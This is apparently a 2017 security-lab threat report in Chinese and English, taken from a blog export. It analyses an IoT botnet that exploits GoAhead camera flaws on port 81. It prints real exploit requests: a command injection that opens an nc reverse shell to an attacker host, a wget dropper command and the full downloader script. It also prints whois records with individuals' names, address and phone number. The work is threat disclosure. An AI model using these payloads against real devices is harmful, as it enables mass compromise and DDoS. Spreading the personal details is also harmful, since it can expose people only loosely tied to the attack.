{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n###概述\n360 网络安全研究院近日监测到一个新的僵尸网络正在大范围扫描整个互联网。考虑到该僵尸网络的以下因素，我们决定向安全社区公开我们的发现成果：\n\n1. 规模较大，我们目前可以看到 ～50k 日活IP\n2. 有Simple UDP DDoS 攻击记录，可以认定是恶意代码\n3. 较新，目前尚有较多安全厂商未能识别该恶意代码 ( 7/55 virustotal )\n4. 与mirai僵尸网络相比，借鉴了其端口嗅探手法和部分代码，但是在传播、C2通信协议、攻击向量等关键方面完全不同于mirai，是新的恶意代码家族而不应视为mirai的变种\n\n我们梳理了该僵尸网络的发现过程、传播手法、行为特征，简略分析了该僵尸网络的攻击行为，并按照时间线组织本blog的各小节如下：\n\n1. GoAhead及多家摄像头的 RCE 漏洞\n2. 攻击者将漏洞武器化\n3. 我们注意到了来自攻击者的扫描\n4. 从扫描到样本\n5. C2 历史变化回溯\n6. 僵尸网络规模判定\n7. 关于 212.232.46.46 我们的观察\n8. IoC\n\n###GoAhead 及多家摄像头的 RCE 0Day漏洞\n研究人员 Pierre Kim (@PierreKimSec) 于 2017-03-08 发布了一个关于GoAhead 以及其他OEM摄像头的脆弱性分析报告。在设备厂商归属方面，原作者指出由于设备OEM的原因，共涉及了超过 1,250 个不同摄像头厂商、型号；在潜在感染设备方面，原作者利用Shodan 估算有超过 185,000 个设备有潜在问题。原始文章链接如下：\n\nhttps://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\n\n在原始文章中， 原作者指出 GoAhead 摄像头存在若干问题，其中包括：\n\n * 通过提供空白的 loginuse 和 loginpas 绕过认证环节，下载设备的`.ini` 文件\n * 通过向 `set_ftp.cgi` 中注入命令，获得root权限，并在设备上提供远程 Shell \n\n原作者指出攻击者组合使用上述问题，就可以在完全没有设备口令的情况下，获得设备的root权限，并提供了一个利用代码。\n\n在上述页面中，可以关联到原作者和其他安全社区反馈的信息。综合这些反馈，我们并没有观察到没有设备厂商积极行动起来，为本脆弱性提供解决方案，原因也许是OEM厂商之间错综复杂的关系，不过正是因为迟迟没有原始厂商采取行动，才给了攻击者继续发挥的空间。\n\n###攻击者将漏洞武器化\n事后看，我们认为攻击者在原始PoC公布后，花了不超过1个月的时间将上述漏洞武器化，并在2017-04-16 成功引起了我们的注意。\n\n我们实际看到武器化后的payload 有如下特点：\n\n 1. 嗅探端口从 80 改为 `81`\n 2. 嗅探端口时采用类似mirai 的 `syn scan` 过程\n 3. 嗅探 `login.cgi` 页面，猜测攻击者通过这种方式进一步精确甄别受害者。上述三个做法可以提高僵尸网络感染的效率\n 4. 使用前文提到的 `goahead 0-day` 漏洞，投递载荷\n 5. 我们尚没有直接证据，但是有理由怀疑攻击者在成功获得设备root权限以后，阻断了载荷投递通道，避免后来者经同样路径争夺设备控制权\n\n###我们注意到了来自攻击者的扫描\n\n我们首次注意到本次事件，是来自我们的全球网络扫描实时监控系统：\n\nhttp://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum \n\n\n图1 port 81 scan bigbang since 2017-04-16\n\n从图中我们可以看到，`2017-04-16` 是个关键的时间点。取 2017-04-15 与之后的数据对比，当日扫描事件数量增长到 400% ~ 700% ，独立扫描来源增长 4000%～6000%。特别是2017-04-22当天扫描来源超过 `57,000`，这个数字巨大，让我们觉得有必要向安全社区提示这个威胁的存在。\n\n图2 detailed volume compare\n\n\n###从扫描到样本\n\n######载荷\n注意到该扫描以后，我们就开始了对该威胁的追溯和分析工作。通过我们的蜜罐系统，我们捕获了下面这组样本。需要预先说明的是，虽然这组样本的命名中包含 mirai 字样，但是这一组样本的工作方式不同于mirai，并不能视为mirai的变种，而应该作为一个新的威胁来对待。\n\n cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh\n 428111c22627e1d4ee87705251704422 mirai.arm\n 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n\n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7\n b2b129d84723d0ba2f803a546c8b19ae mirai.mips\n 2f6e964b3f63b13831314c28185bb51a mirai.mpsl\n\n这组样本的文件信息如下：\n\n * mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\n * mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\n * mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped\n\n * mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n * mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n * wificam.sh: ASCII text\n\n\n######载荷的投递方式\n\n在攻击者完成嗅探81端口确认存活以后，通过以下方式投递有效载荷：\n\n1. 攻击者在上文PoC基础上，注入命令迫使受害者设备发起nc连接到 load.gtpnet.ir:1234\n2. 攻击者控制load.gtpnet.ir:1234 对每个受害则发起的连接，投递了 hxxp://ntp.gtpnet.ir/wificam.sh 作为后续下载的中转，并通过该脚本进一步从 hxxp://ntp.gtpnet.ir/ 服务器下载命名为 mirai.arm/mirai.arm5n/mirai.arm7/mirai.mips/mirai.mpsl 的样本\n3. 这些样本会进一步与控制服务器建立连接，到此，受害者设备完全被攻击者控制，感染阶段结束，准备发起攻击。\n\n上述三段攻击方式对应的代码如下：\n\n1. 命令注入阶段，迫使受害者建立nc连接到 load.gtpnet.ir:1234\n<div>\n<pre>\nGET login.cgi HTTP/1.1\n</pre>\n<pre>\nGET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1\n</pre>\n<pre>\nGET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1\n</pre>\n</div>\n\n这个部分的有效载荷包含在 `sef_ftp.cgi` 的URI 中，转码后为\n\n `nc load.gtpnet.ir 1234 -e bin/sh`\n\n受害者因此被胁迫向攻击者的服务器发起nc连接\n\n2. 攻击者通过上述nc连接，向受害者设备投递了下载脚本 wificam.sh\n<div>\n<pre>\n$ nc load.gtpnet.ir 1234`\n</pre>\n<pre>\nbusybox nohup sh -c \"wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh\" > /dev/null 2>&1 &`\n</pre>\n</div>\n\n 下载脚本 wificam.sh 进一步下载了新的样本文件\n\n`$ cat wificam.sh`\n\n<div>\n<pre>\nwget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin\n</pre>\n<pre>\nchmod +x /tmp/arm.bin\nchmod +x /tmp/arm5.bin\nchmod +x /tmp/arm7.bin\nchmod +x /tmp/mips.bin\nchmod +x /tmp/mpsl.bin\n</pre>\n<pre>\nkillall *.bin\nkillall arm\nkillall arm5\nkillall arm7\nkillall mips\nkillall mpsl\nkillall hal\n</pre>\n<pre>\n/tmp/arm.bin\n/tmp/arm5.bin\n/tmp/arm7.bin\n/tmp/mips.bin\n/tmp/mpsl.bin\nrm -rf /tmp/*.bin\n</pre>\n</div>\n\n######将本次扫描归因到这组样本\n\n我们认为本次针对 81 端口扫描归因到这组样本上。\n\n从数据分析角度做出归因判定最大的障碍，是蜜罐系统采集到的有效数据只有100+ 份，对比全球网络扫描实时监测系统中每日独立扫描来源超过57,000，两者差距巨大，使用前者来说明后者，有数据覆盖率不足之嫌。\n\n不过我们在仔细考察当前数据后，有以下发现：\n\n 1. 这组样本，**采集自81端口**的扫描活动\n 2. 蜜罐上近期81 端口的扫描，绝大多数指向了这个样本。以4月19日为例，**124（/132=94%）的81端口扫描**是该样本发起的；\n 3. 时间窗口方面，我们的三个不同数据源（大网扫描实时监测/C2域名DNS流量/蜜罐扫描流量）上监测均监测到了流量暴涨，且流量暴涨出现的时间均发生在 2016-04-16 03:00:00 附近。三个数据源的覆盖范围各不同，分别是**全球范围、中国大陆范围、若干蜜罐部署点范围，三个数据源之间的数据能够交叉映证**，是一个较强的证据。\n\n\n来自Scanmon的数据指出spike首次出现时间点大约是 2017-04-16 03:00:00 附近\n\n\n来自DNS 的C2 域名解析数据，spike首次出现时间也是在 2017-04-16 03:00:00 附近\n\n\n来自蜜罐这组样本的出现时间，首次出现时间同样在 2017-04-16 03:00:00 附近（排除奇异点212.232.46.46，后述）。\n\n在仔细衡量上述全部因素后，我们断言本次扫描可以归因到当前样本。\n\n###样本分析\n\n针对样本详尽的逆向分析较为耗时，目前尚在进行中，稍后也许我们会发布更进一步分析。目前阶段，我们可以从样本的网络表现中得到以下方面的结论：\n\n1. 样本 vs C2控制端\n2. 样本 vs Simple UDP DDoS 攻击向量\n3. 样本 vs mirai\n4. 样本 vs IoT\n另外目前各杀毒厂商对该样本的认定尚不充分（7/55 virustotal），这也是我们希望向安全社区发声的原因之一。\n\n#####样本 vs C2控制端\n\n\n通过已经完成的逆向工程，我们已经能够确定无论是在感染阶段还是攻击阶段，样本都会与 load.gtpnet.ir/ntp.gtpnet.ir 通信。\n\n#####样本 vs Simple UDP DDoS 攻击向量\n\n样本中包含了 DDoS 攻击向量。我们在 **2017-04-23\n21:45:00** 附近，观察到沙箱中的样本向 **185.63.190.95** 发起了DDoS 攻击。\n\n这次攻击也被 **DDoSmon.net 检测到**了：\nhttps://ddosmon.net/explore/185.63.190.95\n\n\n\n进一步分析攻击向量的构成：\n\n* 从DDoSMon的统计来看，攻击主要针对受害者的 UDP 53/123/656 端口，填充包大小主要集中在125/139\n* 从沙箱的Pcap分析来看，攻击覆盖受害者的 UDP 53/123 端口，填充包大小能够映证上述DDosMon.net的数据。\n\n另外从沙箱Pcap数据来看，攻击包使用了真实IP地址，在填充包中填充的是 SSDP(UDP 1900）的数据。\n沙箱中看到的攻击包特征：\n\n\n\nSimple UDP 53 DDoS with a SSDP1900 padding\n\n\n\nSimple UDP 123 DDoS with a SSDP1900 padding\n\n#####样本 vs mirai\n样本与mirai有较多联系，也有很大变化，总体而言，我们认为这是一个全新的家族，不将其并入mirai家族。\n\n样本与mirai的不同点包括：\n\n* 传播阶段：不再猜测 23/2323 端口上的弱密码；通过 81 端口上的 GoAhead RCE 漏洞传播\n* C2通信协议：完全不同于mirai\n* 攻击向量：完全不同于mirai；前面提到 UDP 53/123/656 端口的攻击向量，mirai是不具有的；而mirai特有的、创下记录的GRE/STOMP攻击向量，在这组样本中完全不存在；\n\n样本也的确与mirai有一些共同点：\n\n * 传播阶段：使用非正常的 syn scan 来加速端口扫描的过程。不过今天这个技巧已经被非常多的恶意代码家族使用，不再能算作mirai独有的特点\n * 文件命名：使用了 mirai 这个字符串\n * 代码重用：重用了较多mirai的部分代码\n\n\n\n尽管有若干共同点，由于传播、攻击向量等关键特征已经与mirai完全没有共同之处，我们仍然倾向将这个样本与mirai区别开来。\n\n#####样本 vs IoT\n\n在前面的分析中，我们已经了解到这一组样本主要针对IoT设备传播，但具体是1200+种设备中的哪些种类尚不明确。不过在360网络安全研究院，我们可以使用DNS数据维度进一步刻画受感染设备的归属。\n\n我们经常使用D2V工具来寻找域名的伴生域名，在这个案例，我们观察到 ntp.gtpnet.ir 域名在 2017-04-16之前没有伴生域名，之后与下列域名伴生：\n\n<div>\n<pre>\ns3.vstarcam.com\ns2.eye4.cn\nntp.gtpnet.ir\napi.vanelife.com\nload.gtpnet.ir\nntp2.eye4.cn\npush.eye4.cn\npush.eyecloud.so\nntp.eye4.cn\nm2m.vanelife.com`\n</pre>\n</div>\n\n这些域名的具体网站标题如下：\n\n基于上述数据可以进一步刻画受感染设备的归属。\n\n###C2 历史变化回溯\n\n\n#####DNS历史解析记录变化\t\n\n我们看到的两个域名的历史解析记录如下\n\n\n可以看出：\n\n 1. load.gtpnet.ir 一直指向 185.45.192.168\n 2. ntp.gtpnet.ir 的IP地址则发生了多次变换，比较不稳定\n 3. 我们在沙箱中也同样观察到了上述 ntp.gtpnet.ir 的IP地址不稳定的情况\n\n上述 ntp.gtpnet.ir IP地址不稳定现象也许可以用下面的事实来解释：\n\n * 从样本分析来看，前者仅负责投递初始下载器，负载相对较轻；后者不仅负责投递wificam.sh 和 5个 elf 样本，还承担与bot通信的责任，负载比前者重很多倍。\n * 整个botnet的规模较大，服务器同时与数万bot通信的负载较高。\n\n#####C2 的whois 域名关联\n域名的whois 信息如下：\n\n<div>\n<pre>\ndomain:\t\tgtpnet.ir\nascii:\t\tgtpnet.ir\nremarks:\t(Domain Holder) javad fooladdadi\nremarks:\t(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nholder-c:\tjf280-irnic\nadmin-c:\tjf280-irnic\ntech-c:\t\tmk3389-irnic\nnserver:\tetta.ns.cloudflare.com\nnserver:\tdom.ns.cloudflare.com\nlast-updated:\t2017-04-19\nexpire-date:\t<b>2018-04-06</b>\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tjf280-irnic\nperson:\t\tjavad fooladdadi\norg:\t\tpersonal\ne-mail:\t\t<b>[email protected]</b>\naddress:\tImarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nphone:\t\t+989155408348\nfax-no:\t\t+989155408348\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tmk3389-irnic\nperson:\t\tMorteza Khayati\ne-mail:\t\t<b>[email protected]</b>\nsource:\t\tIRNIC # Filtered\n\n</pre>\n</div>\n上述域名的注册时间，推测发生在 2017-04-06 (因为失效时间是 2018-04-06)，恰好发生在攻击者武器化的期间 （2017-03-08 ~ 2017-04-16），可以断定是专为本僵尸网络而注册的域名。\n\n但是两个域名注册email地址与本僵尸网络的关联尚缺少证据进一步支撑。其中 **[email protected]** 与以下两个域名关联：\n\n* hostsale.net\t\n* almashost.com\t\n\n\n特别是 almashost.com 的注册时间发生在 2009 年，并且看起来是有域名交易/域名停靠的事情发生，倾向认为与本次攻击并无直接关联。这样，email地址 [email protected] 是如何卷入本次攻击的，尚不得而知。\n\n### 僵尸网络规模判定\n\n####从DNS系统视角度量僵尸网络规模\n到现在（2017-04-24）为止，我们从DNS数据中（中国大陆地区），能够看到与C2服务器通信的僵尸规模有 43,621。由于我们数据的地缘性限制，我们看到的分布主要限定在中国大陆地区。具体位置分布如下：\n\n\n\n中国大陆地区每日活跃的bot数量在 2,700 ～ 9,500 之间，如下：\n\n\n\n\n\n###关于 212.232.46.46 我们的观察\n在所有扫中我们蜜罐的来源IP中， 212.232.46.46 是特殊的一个。从时间分布上来说，这个IP是孤立的一个，在他之前没有其他IP以这种方式扫描我们的蜜罐。在他之后，5个小时内一个都没有、但是之后蜜罐就被密集的扫中。\n\n\n\n目前为止，我们只知道这个IP是个数据上的奇异点，但这个IP与攻击者之间的关系并不清楚，期待睿智的读者为我们补上拼图中缺失的那块。附上该IP地址的历史扫描行为：\n\n\n\n### IoC\n样本\n\n<div>\n<pre>\ncd20dcacf52cfe2b5c2a8950daf9220d wificam.sh\n428111c22627e1d4ee87705251704422 mirai.arm\n9584b6aec418a2af4efac24867a8c7ec mirai.arm5n\n5ebeff1f005804bb8afef91095aac1d9 mirai.arm7\nb2b129d84723d0ba2f803a546c8b19ae mirai.mips\n2f6e964b3f63b13831314c28185bb51a mirai.mpsl\n</pre>\n</div>\n\n控制主机\n\n<div>\n<pre>\nntp.gtpnet.ir\nload.gtpnet.ir\n</pre>\n</div>"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

49

post

2017-04-24T16:16:48.000Z

63873b9a8b1c1e0007f52ef6

a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en

2018-10-06T08:59:13.000Z

public

published

2017-04-24T18:15:35.000Z

New Threat Report: A new IoT Botnet is Spreading over HTTP 81 on a Large Scale

<!--kg-card-begin: markdown--><h3 id="overview">Overview</h3> <p>360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:</p> <ol> <li>Very active, we can now see ~ 50k live scanner IPs daily.</li> <li>Malicious code identified, simple UDP DDoS attacks recorded.</li> <li>Most security vendors fail to identify the malicious code (7/55 on virustotal)</li> <li>This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant</li> </ol> <p>We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:</p> <ol> <li>GoAhead and multiple camera RCE vulnerabilities</li> <li>The attacker exploited the vulnerability</li> <li>The scan started</li> <li>From scan to sample</li> <li>C2 historical changes backtracking</li> <li>Botnet size from DNS perspective</li> <li>An observation about a particular scanner 212.232.46.46</li> <li>IoC</li> </ol> <h3 id="goaheadandmultiplecamerarce0dayvulnerabilities">GoAhead and Multiple Camera RCE 0Day Vulnerabilities</h3> <p>Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:</p> <p><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></p> <p>In the original article, the researcher pointed out that GoAhead camera has a number of problems, including:</p> <ul> <li>By providing blank loginuse and loginpas to bypass the authentication session and download the device's <code>.ini</code> files</li> <li>By <code>set_ftp.cgi</code> injection to obtain root privileges, and provide remote root Shell on the device</li> </ul> <p>The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.</p> <h3 id="theattackerexploitedthevulnerability">The Attacker Exploited the Vulnerability</h3> <p>It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity.</p> <p>The payload we captured has the following characteristics:</p> <ol> <li>scan port changed from 80 to  <code>81</code></li> <li>The <code>syn scan</code> process is borrowed from Mirai</li> <li>Scan process also verifies the existence of the <code>login.cgi</code> page so the victims can be further screened.</li> <li>The previously mentioned <code>goahead 0-day</code> 4.vulnerability is used to deliver payload</li> <li>We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel</li> </ol> <h3 id="thescanstarted">The scan started</h3> <p>We first noticed this event from our real-time port scan monitoring system:</p> <p><a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum">http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum</a></p> <p><img src="__GHOST_URL__/content/images/2017/04/01_port_81_scan_bigbang_since_2017-04-16.png" alt="" loading="lazy"><br> Figure 1 port 81 scan big jump since 2017-04-16</p> <p>From the figure we can see, <code>2017-04-16</code> is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over <code>57,000</code>，which is a fairly big number.<br> <img src="__GHOST_URL__/content/images/2017/04/02_detailed_volume_compare.png" alt="" loading="lazy"><br> Figure 2 detailed volume compare</p> <h3 id="fromscantosample">From scan to sample</h3> <h6 id="payload">Payload</h6> <p>After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.</p> <p>cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh<br> 428111c22627e1d4ee87705251704422 mirai.arm<br> 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n<br> 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7<br> b2b129d84723d0ba2f803a546c8b19ae mirai.mips<br> 2f6e964b3f63b13831314c28185bb51a mirai.mpsl</p> <p>The file information for the samples is as follows:</p> <ul> <li> <p>mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped</p> </li> <li> <p>mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped</p> </li> <li> <p>mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>wificam.sh: ASCII text</p> </li> </ul> <h6 id="thedeliveryofthepayload">The delivery of the payload</h6> <p>The payload is delivered after a successful port 81 scan and verification process.</p> <ol> <li>The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to <code>load.gtpnet.ir:1234</code></li> <li>Victim downloads and executes the script hxxp: <a href="//ntp.gtpnet.ir/wificam.sh">//ntp.gtpnet.ir/wificam.sh</a>, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir</li> <li>These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.</li> </ol> <p>The codes are as follow</p> <ol> <li>The injections</li> </ol> <div> <pre> GET login.cgi HTTP/1.1 </pre> <pre> GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1 </pre> <pre> GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1 </pre> </div> <p>This payload is contained in the <code>sef_ftp.cgi</code> URI, which decodes to</p> <p><code>nc load.gtpnet.ir 1234 -e bin/sh</code></p> <p>The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh</p> <ol start="2"> <li>wificam.sh downloaded to victim</li> </ol> <div> <pre> $ nc load.gtpnet.ir 1234` </pre> <pre> busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &` </pre> </div> <p>wificam.sh instructs to further download more new sample files</p> <p><code>$ cat wificam.sh</code></p> <div> <pre> wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin </pre> <pre> chmod +x /tmp/arm.bin chmod +x /tmp/arm5.bin chmod +x /tmp/arm7.bin chmod +x /tmp/mips.bin chmod +x /tmp/mpsl.bin </pre> <pre> killall *.bin killall arm killall arm5 killall arm7 killall mips killall mpsl killall hal </pre> <pre> /tmp/arm.bin /tmp/arm5.bin /tmp/arm7.bin /tmp/mips.bin /tmp/mpsl.bin rm -rf /tmp/*.bin </pre> </div> <h6 id="datapoints">Data points</h6> <p>Our different monitoring systems all successfully picked up this activity</p> <p><img src="__GHOST_URL__/content/images/2017/04/03_2016-04-16_030000_spike_from_scanmon_at_global_size.png" alt="" loading="lazy"><br> Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.</p> <p><img src="__GHOST_URL__/content/images/2017/04/04_spike_from_dns_at_china_size.png" alt="" loading="lazy"><br> The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00</p> <p><img src="__GHOST_URL__/content/images/2017/04/05_spike_from_honeypot_at_serveral_site.png" alt="" loading="lazy"><br> From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).</p> <h3 id="sampleanalysis">Sample analysis</h3> <p>Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:</p> <ol> <li>Sample vs C2 communcations</li> <li>Sample vs a simple UDP DDoS attack</li> <li>Sample vs mirai</li> <li>Sample vs IoT</li> </ol> <h5 id="samplevsc2communcations">Sample vs C2 communcations</h5> <p>The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.</p> <h5 id="samplevsasimpleudpddosattack">Sample vs a simple UDP DDoS attack</h5> <p>The sample contains DDoS attack module. We <strong>observed</strong> the sample in the sandbox launched a DDoS attack against <strong>185.63.190.95</strong> around <strong>2017-04-23 21:45:00</strong><br> , it is worth noting that this attack was also detected by our <strong>DDoSmon.net</strong> platform<br> <a href="https://ddosmon.net/explore/185.63.190.95">https://ddosmon.net/explore/185.63.190.95</a></p> <p><img src="__GHOST_URL__/content/images/2017/04/07_ddos_againt_185.63.190.95.png" alt="" loading="lazy"></p> <p>Further analysis of the UDP attack:</p> <ul> <li>From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139</li> <li>From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data</li> </ul> <p>In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.</p> <p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_53_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p> <p>Simple UDP 53 DDoS with a SSDP1900 padding</p> <p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_123_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p> <p>Simple UDP 123 DDoS with a SSDP1900 padding</p> <h5 id="samplevsmirai">Sample vs mirai</h5> <p>Overall, we think this is a new family, not a variant ot mirai family.</p> <p>The difference between these samples and mirai includes:</p> <ul> <li>Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit</li> <li>C2 communication protocol: completely different from mirai</li> <li>Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples</li> </ul> <p>The sample also have something in common with mirai:</p> <p>* Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature<br>   * File name: the word mirai in file names<br>   * Code reuse: partial mirai code borrowed</p> <p><img src="__GHOST_URL__/content/images/2017/04/11_reuse_mirai_source_code.png" alt="" loading="lazy"></p> <h5 id="samplevsiot">Sample vs IoT</h5> <p>IoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.</p> <p>We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:</p> <div> <pre> s3.vstarcam.com s2.eye4.cn ntp.gtpnet.ir api.vanelife.com load.gtpnet.ir ntp2.eye4.cn push.eye4.cn push.eyecloud.so ntp.eye4.cn m2m.vanelife.com` </pre> </div> <p>These domains' website titles are as follows:<br> <img src="__GHOST_URL__/content/images/2017/04/12_link_D2V_domains_to_IoT_keywords.png" alt="" loading="lazy"></p> <h3 id="c2historicalchangesbacktracking">C2 historical changes backtracking</h3> <h5 id="domaindnshistoryrecordanalysis">Domain DNS History Record Analysis</h5> <p>The DNS historical records of the two domain is as follows</p> <p><img src="__GHOST_URL__/content/images/2017/04/13_C2_DNS_history-1.png" alt="" loading="lazy"><br> As we can see:</p> <ol> <li>load.gtpnet.ir only uses one ip 185.45.192.168, while<br>   2. ntp.gtpnet.ir IP changes a few times, and<br>   3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox</li> </ol> <p>Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):</p> <p>* We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former<br>   * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.</p> <h5 id="domainregistrationanalysis">Domain Registration Analysis</h5> <p>Here is the domain's registration information :</p> <div> <pre> domain: gtpnet.ir ascii: gtpnet.ir remarks: (Domain Holder) javad fooladdadi remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR holder-c: jf280-irnic admin-c: jf280-irnic tech-c: mk3389-irnic nserver: etta.ns.cloudflare.com nserver: dom.ns.cloudflare.com last-updated: 2017-04-19 expire-date: <b>2018-04-06</b> source: IRNIC # Filtered <p>nic-hdl: jf280-irnic<br> person: javad fooladdadi<br> org: personal<br> e-mail: <b><a href="mailto:[email protected]">[email protected]</a></b><br> address: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR<br> phone: +989155408348<br> fax-no: +989155408348<br> source: IRNIC # Filtered</p> <p>nic-hdl: mk3389-irnic<br> person: Morteza Khayati<br> e-mail: <b><a href="mailto:[email protected]">[email protected]</a></b><br> source: IRNIC # Filtered</p> </pre> </div> The domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup 